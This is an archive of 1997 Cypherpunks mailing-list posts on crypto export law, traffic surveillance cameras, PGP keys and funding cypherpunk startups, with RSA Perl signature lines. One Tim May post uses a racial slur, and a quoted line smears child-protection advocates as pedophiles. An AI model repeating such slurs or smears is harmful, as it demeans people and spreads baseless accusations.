From: Duncan Frissell <frissell@panix.com>
Date: Wed, 3 Sep 1997 23:15:59 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Things we should be working on...
In-Reply-To: <v03102810b0321f16eff2@[207.167.93.63]>
Message-ID: <3.0.2.32.19970903111019.03640cf0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:12 AM 9/3/97 -0700, Bill Stewart wrote:

>Yeah, you're missing that Ian's a Canadian, not subject to US laws when
>he's not in US territory, unlike Rivest (but not unlike Shamir.)

I don't know Ian's status but those who are US permanent residents are 
subject to most of these sorts of laws even if they are temporarily outside 
of the US.  Student Visa holders are not permanent residents of course.

>Taking working papers with him might be an export problem, but 
>taking ideas in his head isn't, and when he's at home, he can work,
>subject to Canadian limits on writing, publishing, and internetting crypto.
>If he wants to sell products based on his crypto work,
>there may be student visa issues involved, but there's a Canadian 
corporation
>that can take care of some of those problems for him.

He's probably OK there.  If I am in France, or China, or Canada, I can 
continue to write the great American Novel or the Great American Algorithm 
that I'm working on without violating work permit requirements.

The nice thing about those of us who only sell ideas for a living is that 
they haven't figured out a way to outlaw thinking yet (as much as they've 
tried).

In any case, I take it that Ian is a graduate student which implies that he 
possesses a bachelor's degree from somewhere and thus can work here more or 
less at will for five years.  Under the US-Canada FTA and NAFTA, citizens of 
the three signatory countries who have bachelor's degrees and genuine job 
offers can work in either of the other two countries without going through 
the whole work permit process.  It's just a little paper shuffling at the 
border and "cannot ordinarily be denied".  

So Ian can work here but poor Bill Gates can't work in Canada.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNA1914VO4r4sgSPhAQGmdQP5AdIfzFV0RTNCPUc/G36b8LaZuwTI6tG0
97E5SEgyt0TYLtgLmBLA57s8eiIpbPbKcD4qXUTbjLgee1d7HgIGd+SOrpgAh7rH
87HpRVduFfCet+J9OfBS7apPvmvwTU/OTMRHWX3UyLspDpFakJ9mFNmpZX1jhU+G
0/5FdOYa/5g=
=Ha4r
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Wed, 3 Sep 1997 23:42:06 +0800
To: cypherpunks@toad.com
Subject: Dr. Dobbs CD-ROM outside the US?
Message-ID: <19970903171900.47376@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Guys (F/M),

I am seeing messages about the Dr.Dobbs Crypto CD-ROM not being received
by persons inside the US, but right  now I wonder if this information is
or will  be available,  in this  form, outside of  the US?  personally I
would love to have this info available on CD-ROM, enabling me to take it
with me wherever  I go (stuck with  a laptop or notebook)...  And yes, I
would of course have no problem with  paying for it, or donating the US$
price to a good course.

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 4 Sep 1997 00:33:47 +0800
To: Chip Mefford <cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <199708281520.RAA25882@basement.replay.com>
Message-ID: <v03102803b0333303a3aa@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Yes, well this may give some of the citizens that don't object to the
burgeoning surveillence cameras in public areas something to think about,
after they receive their citation.

>At 8:29 AM -0500 9/3/97, Chip Mefford wrote:
>Fairfax County, In the Peoples Republic of Virginia
>
>Citizens in the PRV who have been travelling in Fairfax County will soon
>be recieving summons to come pay their dues to the monster in the form of
>traffic citations for running red lights issued by Big Brother.
[snip]
>
>In the month since this "trial program" began, over 3 thousand citations
>have been prepared and will be in the mail as of TODAY!!!. All Hail Big
>Brother, security is at hand!! Hurrah!!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 4 Sep 1997 01:21:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Big Brother is watching
In-Reply-To: <199708281520.RAA25882@basement.replay.com>
Message-ID: <3.0.3.32.19970903101219.00718ed4@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 08:29 AM 9/3/97 -0500, Chip Mefford wrote:
>Fairfax County, In the Peoples Republic of Virginia
>
>Citizens in the PRV who have been travelling in Fairfax County will soon
>be recieving summons to come pay their dues to the monster in the form of
>traffic citations for running red lights issued by Big Brother.
>
>Yes, rest assured that Big Brother is watching. Three CopBots have been
>deployed around the county to take pictures of vehicles exiting
>intersections after the light has turned red. These CopBots are a great
>boon to our prosperity and security as they free up the huminoid Cops from
>traffic duties so that they can better spend their time toilet plunger
>kicking.
>
>In the month since this "trial program" began, over 3 thousand citations
>have been prepared and will be in the mail as of TODAY!!!. All Hail Big
>Brother, security is at hand!! Hurrah!!
>
>With this wonderful sucess, We can all look forward to this items being
>placed in our domiciles in order to further protect us from crime.
>
>This is truely a great day.
>
>Weep for joy!
>
>I love Big Brother.

This program has been in effect in San Francisco, People's Republik Of
Kalifornia, for over a year now.

BTW, in the vicinity of the I-80/I-680 interchange there are an array of
things suspended over the freeway that look like the sensors from metal
detectors, except they are about the size and shape of fluorescent light
fixtures.  They are opaque white plastic, suspended horizontally, with the
long axis crossing the lanu over which it is hung.  There is a cable
entering them at the top, and are suspended over all lanes of traffic
(except the fast lane) in both directions, as well as the on/off-ramps to
I-680.  Directly underneath them are sensor loops similar to what you might
find by traffic lights downtown.  The poles from from which they are hung
have 18-24 inch dish antennas, which point to the CHP truck scales which
are about 1 mile down the road from each sensor array.  Does anyone have
any idea what the devil these things are?  I have been trying to find
someone who knows for several weeks now, but nobody seems to know.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Other PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 4 Sep 1997 02:20:46 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: Missing Kids and Porn Links
In-Reply-To: <19970903035857.3253.qmail@zipcon.net>
Message-ID: <3.0.2.32.19970903105138.041d53e0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 PM 9/2/97 -0500, Igor Chudov @ home wrote:
>
>Most of people who publicly "care for children" are hidden pedophiles or
>control freaks, in my humble opinion.

I believe that many of them are people who feed off of the
endorphin/adreniline rush of being "outraged".  They need something to get
upset about.  Who cares if it is real or who gets hurt?  They are "doing
good by getting pissed".  It is that "moral outrage" that makes them forget
just how worthless and pathetic their own lives are.

It would be pretty sad if was not for the fact that so many people buy into
their moral crusades.
 
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 4 Sep 1997 01:48:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <v03102801b032ba10a225@[207.167.93.63]>
Message-ID: <Chameleon.873298542.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> Besides, in a society with strong crypto, how are you or any government
> going to stop people from dealing with whomever they wish, on whatever
> basis they wish?

and in a society with ubiquitous internet access there will be no way to 
=know= what color someone is unless he advertises it in his sig file.

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/03/97
Time: 10:54:11
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 4 Sep 1997 01:17:38 +0800
To: Unicorn <hvdl@sequent.com>
Subject: Re: PGP Keyservers and 5.0 DSS/D-H Keys...
In-Reply-To: <19970903182604.17756@sequent.com>
Message-ID: <199709031654.LAA27137@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970903182604.17756@sequent.com>, on 09/03/97 
   at 06:26 PM, Unicorn <hvdl@sequent.com> said:

>Just a quick question.

>Are the current (mostly PGP 2.6.x based) keyservers able to incorporate,
>store and provide the new PGP  5.0 based DSS/Diffie-Hellman keys? And if
>not how can  one publish (the public  part of) such a  key using nothing
>more than email or a web-browser behind a firewall that does not allow a
>direct connection to a keyserver on port 11371?

All of the PGP public keyservers accept keys & keyrequests by e-mail.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNA2ItI9Co1n+aLhhAQGamwP9GSRL7Z5iVfRydlK4Or+bDS4BRij9oC6g
AhlZBVhT8iqT4Kp4C2ConIiTHYaz1B/oI4FZzSf2+F1r0sT8Q1mmfkuKmzYOsJCT
ZFyZrWeSpNnbN97s/fGHTz5ranhbLZ/EHj56GqeDtZbZ7c00KLAj170N2FmiK9TH
bdjbFkzSDZU=
=QhiD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 03:54:07 +0800
To: cypherpunks@Algebra.COM
Subject: [LONG} Funding Cypherpunks Projects
In-Reply-To: <v03102814b032876b7309@[207.167.93.63]>
Message-ID: <v03102803b033539cb51d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I almost deleted these messages from Bob, but have decided to say a few
words about financing companies "to help the Cypherpunks cause."

As I lack the energy right now to compose an essay from scratch, I'll take
the easier way out and respond to Bob's points.

At 7:23 AM -0700 9/3/97, Robert Hettinga wrote:
>At 11:21 pm -0400 on 9/2/97, Tim May wrote:
>
>> Sorry I "donated" my time making up this list,
>
>To the contrary, it's not a donation at all. I see it as a set of
>investment criteria, myself. How is the market going to make something for
>you if it doesn't know what you want? Keeping in mind what I said about

To the contrary, I never write political and socioeconomic essays with the
expectation that someone out there will be "making something for me."
That's just plain disconnected from reality thinking. Why I write, and what
I write, has various motivations. No time to delve into a psychoanalysis of
this right now--my Cyhernomicon has sections describing the confluence of
technologies and opportunities I saw beginning in about 1987 or so, with
comments on why I think these are such exciting issues. I write because the
ideas interest me, not to make a few bucks. (And, as I explain later, the
odds of losing $1-2 million in VC investments grossly outweigh the odds of
making $10-20 M. Grossly.)

But generating "VC funding requests" is most definitely not even in my Top
Ten of reasons.

>Maybe they're misinterpreting all the stuff you've said over the years
>about "something must be done", "cypherpunks is not a group", and "we"
>ought to do to things, etc.

>From Day One, I have not shied away from talking about interesting building
blocks.  Including remailers, which I briefed the attendees at the first
meeting on (having been mightily influenced by Chaum's 1981 brief paper on
untraceable e-mail). And so on. This is well-covered history.

It is true that I try to avoid using the language "Here's is what I want
you to work on," and variants. My "things we need to work on" was my name
for a list--and not the first one--of things which I think are a lot more
interesting and important than working on, say, lists of "things that make
Cypherpunks happy," or silk-screening new t-shirts with the slogan du jour.

>Frankly, a discussion of specifications and desired results is worth much
>more than the wasted random effort saved when people just write code and
>let god sort it out. I mean, Michaelson-Morley may have been a neat
>experimental finding, but nothing really happened with gravity until
>Einstein figured out space-time, right?

I agree with this. Certainly for all of the chants about "Cypherpunks write
code," and the several years worth of (apparently) several dozen folks here
writing code of some sort, what are we really left with that has had a
major effect? Most of the code apparently being written either never makes
it into products, or is buried deeply, or just evaporates (as code tends to
do, a la bit rot). PGP, SSH, the remailer code, and a few other such
achivements are what lasts.

I don't trash such efforts. Rather, I think it means that it is vitally
important that we think carefully about what code is interesting and
important. This beats the hell out of people just starting in at coding for
the sake of coding.

Part of coding is carefully deciding what to code. This is Programming 101,
or at least should be. Deciding that a simple remailer would be an
interesting thing to code was  the important part of getting remailers
deployed....the actual coding of the first actual remailer (of the
Cypherpunks "true" style, not the WizVax/Kleinpaste/Helsingius nym server
style) took a weekend of Perl hacking by Eric Hughes. Knowing _what_ to
program is 90% of the effort.

...
>Of course not. See above. There are many more people who know how to write
>code than there are like you, Tim, who know what to do it *for*.
>Unfortunately, people who write code need to eat. Fortunately, people who
>know what to do can raise money to hire people who write code if the idea's
>good enough to sell twice: once to investors, and again to the market for

This is the crux of my essay here. Read this part even if you skip the rest.

First, this grossly oversimplifies the process of funding companies.
Methinks Bob has read about Jim Clarke's decision to fund Andreesson and
Company too many times. Rarely (very rarely) do the VCs hire people to
write the code for some vision.

Second, writing code is cheap, and requires almost no capital. No
factories, no chip making machines, no clean rooms, etc. Just a bunch of
people with ideas doing it themselves.  Nearly all successful software
companies started out with almost no working capital.

(By contrast, I've watched several "idea" companies which had the "grand
vision" first and then sought to hire the hired guns to write the code. All
four that I have followed failed. One burned through about $5 million,
another through $2 million. And one that just finally gave up the ghost is
reported (by a friend of mine, and I haven't been able to confirm it) to
have absorbed more than $30 million in funding by the initial investors and
then by the parent company which acquired or  semi-acquired them and pumped
more money in.)

Third, I've seen a lot of programmers here in the Bay Area, either because
of my work at Intel on AI/Lisp sorts of stuff, or the Hackers Conference,
or many years of Bay Area parties, Cypherpunks events, etc.  A handful of
these programmers seem to be truly gifted...the rest are, well, hackers. OK
for churning out code with well-defined specifications (and even then the
well known Brooks' Law sorts of factors can make some of them grossly
unproductve). The few who seem really gifted would be fools to work for a
pittance for me--and I'm not willing to give them their easily-gotten daily
consulting rates for months on end, etc.

Fourth, in my years of Cypherpunks involvement, I have never seen any
reasonable investment opportunities. This is not to say there have not been
any, especially with the benefit of hindsight.

Side note: There have been several startups loosely associated, or even
closely associated, with Cypherpunks. Some were started before (Cygnus. for
example), and cannot really be called CP companies. What about C2 Net? I
have no idea what that company is now worth, but I know that it evolved
from Sameer's Community Connexxion. While we all nodded and applauded
Sameer's plan to hook up his dorm or whatever with terminals in the
bathrooms (I'm not joking, by the way), I never saw this as something to
put hard-earned money into. Nor did Sameer solicit "angels" to fund this
vision. At least I never heard him soliciting. He probably--and I haven't
checked with him on this--knew that the best opportunities were funded on a
shoestring, by those involved directly, by those living the dream, and that
diluting his ownership with outside funding would be a mistake. And this
shoestring operation was able to more nimbly move to take advantage of
opportunities, e.g., dropping the original focus on being a kind of "local
ISP" (which is what I perceived the original CC to be) and to instead focus
on SSLeay/Stronghold stuff.

Other companies have sought funding in a grander way. E.g., PGP, Inc. I had
no desire to invest in them, for various reasons. I wish them well, of
course.

Eric Hughes has a company, "Simple Access." To tell the truth, and in spite
of Eric being a longtime friend of mine (since 1990 at least), I really
have no idea what they do. The "www.sac.net" site is remarkably
uninformative. Perhaps by design. In any case, I don't think investing
money in this is what I want to do.

And there's Electric Communities (www.communities.com), containing several
past or present Cypherpunks. I have a lot of hope from them, for
"Microcosm," but,again, this is someone else's vision. It's too soon to
tell if they have a killer app on their hands. If they do, then business
magazines will write sage articles on the wisdom of the VCs. If not, as the
odds must say is likelier, just by Bayesian odds, then they'll be
forgotten, and the VC money will have just evaporated.


Fifth, what I have seen from all of these experiences is that the popular
impression of VC funding, that someone has a good idea, then finds a VC
angel to provide seed funding, then worker bees are hired, etc., is
basically wrong. Or at least a recipe for disaster.

The best growth opportunities come from nimble, mostly self-funded small
teams that can learn in an evolutionary way, changing focus as failures
occur and learning from mistakes. The worst growth opportunities come from
"grand vision" situations.

Sixth, we often forget that "history is written by the winners." We ask the
five star general what his strategies were, forgetting that he became a
general because he survived the battles and triumphed. Sort of like asking
the Lottery winner what her strategy was....one will get answers, but they
probably won't be useful.

Asking Jim Clarke or Bill Gates to opine on his strategies for success is
not quite as pointless, but is not real useful either. Ask also Manny
Fernandez about Gavilan Computer. Or ask the financiers of Ovation,
Processor Technology, Mad Computers, Symbolics, Thinking Machines, Trilogy,
or a hundred other examples of companies that burned through a billion
dollars of hard-earned investor money.

Seventh, I have no doubt that if I issued a cattle call for programmers to
write C code for some pet project I'd get some bites. The "burn rate" for a
supported programmer is higher than the salary, of course. (Many will work
for a share of the company, plus a living wage, but this of course means
incorporation....not a simple matter of just offering to hire programmers.)

Those small software companies I mentioned burned through $5 million in 3
or so years, with nothing to show for it. And they sure did have the grand
vision. Sorry, but I have no desire in even "giving away" a million bucks,
let alone several.

(Another sidenote: In 1993 I elected to help fund a small startup with an
extremely promising technology. And the principals were, and still are,
incredibly hard working people. I call them "sled dogs" for their
perseverance and 80 hours a week (each) work habits. I bought a small stake
in the company, for about $65K. So did several others. And some contract
money came in. The entire funding was burned through in a matter of a year
or two, and now they're struggling. They can't raise moe without giving
their remaining ownership of the company away, and potential investors
would want to see a real product, which they don't have. I still wish them
well, but....tick tock. And that $65K investment necessitated my sale of
$100K worth of various stocks, inclduding Intel, due to the income tax laws
being what they are. That $100K worth of stock would now be worth $600K,
roughly, given that Intel has gone from $15 to $100 in that period. C'est
la vie. But is sure makes me more cautious about funding little startups.
And I for damned sure won't write out checks for people I only casually
know from this mailing list and from occassional Cypherpunks meetings!!!)

I could easily spend $500K (costing me an actual $700K before taxes, less
some tax deductions as a business, possibly) hiring a staff of several
programmers for slightly more than a year. Then it'd be gone. Would a
"product"  be ready? You tell me the odds.

And what would come out of such an effort? I've watched a certain American
living in Europe burn through most (and maybe all?) of his fortune, and
(some say) his family's fortune, and he had the best of pedigrees and the
best set of ideas there is. Now many of us quibble with the choices he
made, in licensing, etc., but this should be a cautionary tale to anyone
who thinks such funding is easy.

I'm not being defeatist. I know that sometimes a $500K investment could
turn into tens of millions. It sometimes happens. But usually not, even for
the proposals that get funded. (And VCs tend to look at 10 to 30 proposals
for every one they actually fund, so the odds in the Cypherpunks pool ain't
real great that even a single proposal would reach the funding stage, let
alone turn into another Netscape or Yahoo.)

No, I'm not a defeatist. But I worked very hard for many years, saving a
large fraction of my paycheck and saving my purchased stock (including
stock options, which were not as lucrative as popular myth might have
it...what made them now worth so much money is that I didn't sell them when
they became available, as so many of my coworkers did). I don't intend to
blow through half a million or a million bucks a year funding some grand
vision, especially when there seem to be few grand visions that are
realistic.

(Plenty of zealots, though.)

>which the code's intended. And, rarely, as in your case, Tim, some people
>with money already know what to do and can hire people to do it. If they
>can "sell" *themselves* on the idea that the market will buy it. The guy
>who founded Aldus did it with Pagemaker. Osbourne did it, too, before he
>made the mistake of hiring a completely ignorant "professional" managment...

The Pagemaker team wrote it on a shoestring. No VCs until much later, when
a product existed. (BTW, similar to the models for both PGP, Inc. and
C2Net, where actual products are actually being sold or distributed.)

As it happens, I knew Adam Osbourne. (I used to go to the Homebrew Computer
Club, circa 1976-78, and met many of those who later became famous. This
also helped shape my skepticism about predicting success, as I would surely
have funded Bob Marsh at Processor Tech before funding Woz and Jobs...and
in fact I bought a Proc Tech Sol-20 in 1978 rather than an "Apple.")


>Well, it was more for the list's benefit than yours, Tim. You're just my
>unsuspecting foil, here. :-).
>
>If, say, John Gilmore were here saying the same kinds of stuff you were,
>I'd have sprung my little rhetorical trap for him instead, by getting him
>to list what we should do next, and then asking him which ones he's going
>to invest in. He'd probably be just as pissed off.

The problem with your "rhetorical traps," by your own admission, is that
you just don't know what you're talking about in most cases, at least
insofar as startups and funding go. I recall your "hothouse" VC proposal (I
may have the name wrong, but the idea was the same as one of those hothouse
schemes, with offices for budding entrepreneurs, etc.).

Maybe in another post I'll give my views on why such hothouse schemes are
lousy ideas. But if yours is up and running and headed for success, I'll be
happy to stand corrected.



>Actually, if you count the money and time he's thrown at politics and
>lawyers, and S/WAN, and cypherpunks, and a few other things, you might say
>Gilmore's made an investment or two. Unfortunately, since he's not using
>actual investment criteria -- profits, in other words -- you might consider
>those investments to have been accidental. On the other hand, investing is
>always about personal choices, whatever they are, and so the loop closes on
>itself, I suppose.

John chooses to do the things he chooses to do. He has more interest in, or
faith in, the legal process. I have more interest in, or faith in, the
expository process. I write about 100 times as much as he does. To each
their own.

I won't get involved in Bob's seeming challenge to me to start matching
John's investments.

>The point is, all of the stuff you've listed costs money to do, Tim, or it
>would have been done already. Which means, unless you're doing this for a
>hobby, spending a very small fraction of your total income, (or an

It costs money, but almost certainly not VC money. Take just one example,
an offshore credit reporting agency not bound by U.S. restrictions under
the FCRA. There is no need for a VC to fund this...this is best done "on a
shoestring" by someone who starts small and expands.

(Think of how Amazon.com got started. Lots of similar examples.)

Personally, I would only get involved in such a thing if I lived offshore,
as the government could otherwise come after me (even for funding such a
thing). But the interesting pros and cons of such a project are well worth
discussing. Maybe someone out there will do it.

(This space reserved for someone to chime in about Vince Cate's ISP
operation in Anguilla.)


>So, Tim, why don't you pick your favorite project on that list, hire some
>people to write code, and go for it? Most of the stuff on your list can't
>cost that much to do, and, if it did, then it's probably the wrong project
>for you, personally, financially, to work on. If that project makes money,
>you can reinvest it in something bigger anyway. Capitalism 101.

Why don't you knock off the "Put up or shut up" kinds of remarks? It's
never a good basis for investment, to respond to "dares."

I'll say what I want to say. Maybe even someday a good investment will
appear. But from what I've seen of the folks at gatherings I meet them at,
few of them would be good candidates for a VC-funded approach.


>I think that Sameer in particular proves that the barriers to entry for
>some financial cryptography markets are still practically nonexistant from
>an investment perspective. Not for the stuff Sameer's doing, of course.

No, what it shows is the power of small entrepreneurs doing very local
things, with the things that succeed being all that we remember (the losers
are forgotten).



>Anyway, especially in anonymous digital bearer settlement, which is the
>really important stuff in financial cryptography, there are lots of
>opportunities out there, and some of them are bootstrapable. Some of those
>which aren't should be funded by single, monomaniacal, investors like the
>Aldus guy did with Pagemaker, or you, Tim, should do with your favorite
>project on the list. Hopefully, the rest the non-bootstrap stuff can be
>done with e$lab or something like it. At least that's what *I'm* hoping...
>;-).

Yeah, well let us know when "e$lab" gets really rolling. Personally, I
think you undercut your own significance by the heavy reliance on cutesy
names centering around "$" in place of "s," as in "e-$pam" and "e$lab."
Cutesy wears thin fast.



>So, Tim, again, which one of those projects do you want to do? Who are you
>going to hire to do them? More important, how much money do you think
>you'll get back by doing it?

See above for my answer.

In the meantime, knock off with the dares.

Maybe we should just mutually ignore each other for a while.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 03:59:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fate of Jews in America (fwd)
In-Reply-To: <v03102801b032ba10a225@[207.167.93.63]>
Message-ID: <v03102805b0336f0926b0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 AM -0700 9/3/97, amp@pobox.com wrote:
>
>> Besides, in a society with strong crypto, how are you or any government
>> going to stop people from dealing with whomever they wish, on whatever
>> basis they wish?
>
>and in a society with ubiquitous internet access there will be no way to
>=know= what color someone is unless he advertises it in his sig file.


"On the Internet no one knows you're a nigger."



(Lest anyone be offended, I'm using the vernacular used by colored people.
And I'm paraphrasing the famous cartoon. And I'm using strong language to
make the point as some might themselves make it.)

And this point isn't even strictly true, even for dogs. No doubt dogs on
the Internet would advertise their pedigrees, as people do. And even race
can and is advertised. Also, it is quite possible to imagine the form
"racial credentialling" by private entities could take: visual inspections,
with digital signatures given. DNA tests, etc. Those who want to hang out
with other brothers, or other Aryans, or other Jews, could do so by asking
for such credentials, which of course could be formally isolated from one's
True Name.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nate Sammons <nate@infidels.org>
Date: Thu, 4 Sep 1997 01:30:49 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <v03102800b0331277b5be@[207.79.65.77]>
Message-ID: <Pine.LNX.3.95.970903130350.15333A-100000@sulaco.proxicom.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 3 Sep 1997, Chip Mefford wrote:
> Fairfax County, In the Peoples Republic of Virginia
> 
> Citizens in the PRV who have been travelling in Fairfax County will soon
> be recieving summons to come pay their dues to the monster in the form of
> traffic citations for running red lights issued by Big Brother.
> 
> Yes, rest assured that Big Brother is watching. Three CopBots have been
> deployed around the county to take pictures of vehicles exiting
> intersections after the light has turned red. These CopBots are a great
> boon to our prosperity and security as they free up the huminoid Cops from
> traffic duties so that they can better spend their time toilet plunger
> kicking.
> 
> In the month since this "trial program" began, over 3 thousand citations
> have been prepared and will be in the mail as of TODAY!!!. All Hail Big
> Brother, security is at hand!! Hurrah!!
> 
> With this wonderful sucess, We can all look forward to this items being
> placed in our domiciles in order to further protect us from crime.
> 
> This is truely a great day.
> 
> Weep for joy!
> 
> I love Big Brother.
> 

I just moved to Fairfax County from Ft. Collins, CO (not a military base,
just a town that was one in the 1800's).  Ft. Collins has the red-light
surveillance cameras, but also has one other added bonus:  speed cameras.

There are several unmarked SUVs (when I left there was at least a GMC Jimmy,
a Ford Explorer, and a generic Chevy truck) that get parked on the sidewalk,
the bike lane and in people's lawns.  They leave a cop in the front to
eat donuts and watch TV, and in the back there is a video camera and a radar
gun.  On the front driver's side mirror there's another camera.  When you
drive by too fast, you get your picture taken (front and back) and a ticket
gets mailed to you a week later.

Not only do they take your picture, but they block the sidewal, bike lane,
and your lawn if they choose to park there.  There's been several suits
against the city, since hte vehicles are technically owned by the company
that makes the cameras (and so should not be parking on the sidewalk, your
lawn, etc...) but as far as I know, nothing has come of the suits.

Of course, it's for your own protection... as everyone knows, you can't take
care of yourself unless there's a government employee there to help you.

-nate

--
  Nate Sammons                          nate@infidels.org
                                        http://sulaco.proxicom.com:7000/~nate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 4 Sep 1997 02:00:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102811b032245d2d79@[207.167.93.63]>
Message-ID: <3.0.2.32.19970903134233.03644340@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>I do understand that US citizens and Permanent Residents are prohibited
>from giving crypto to foreigners even when they are outside of the US,

Or giving it to foreigners even when those foreigners are *in* the US.

>but I'm neither of those.  The BXA _could_ try the old "let's tax all
>foreigners living abroad" tactic, of course...

'Mericans probably don't realize that there is a distinction between 
Permanent Residents (PRs) and other sorts of ferriners.  All of the Feds' 
cute extra-territoriality ploys:  outlawing gold ownership in '33, outlawing 
unlicensed space launches in 85(?), outlawing working on anything in Cuba or 
on nuclear power plants in the old bad South Africa, or outlawing exporting 
crypto, or blocking ownership of 60% of the world's mutual funds, or levying 
taxes on worldwide income, etc. apply to US citizens, US permanent residents, 
and in some cases those present in the US.

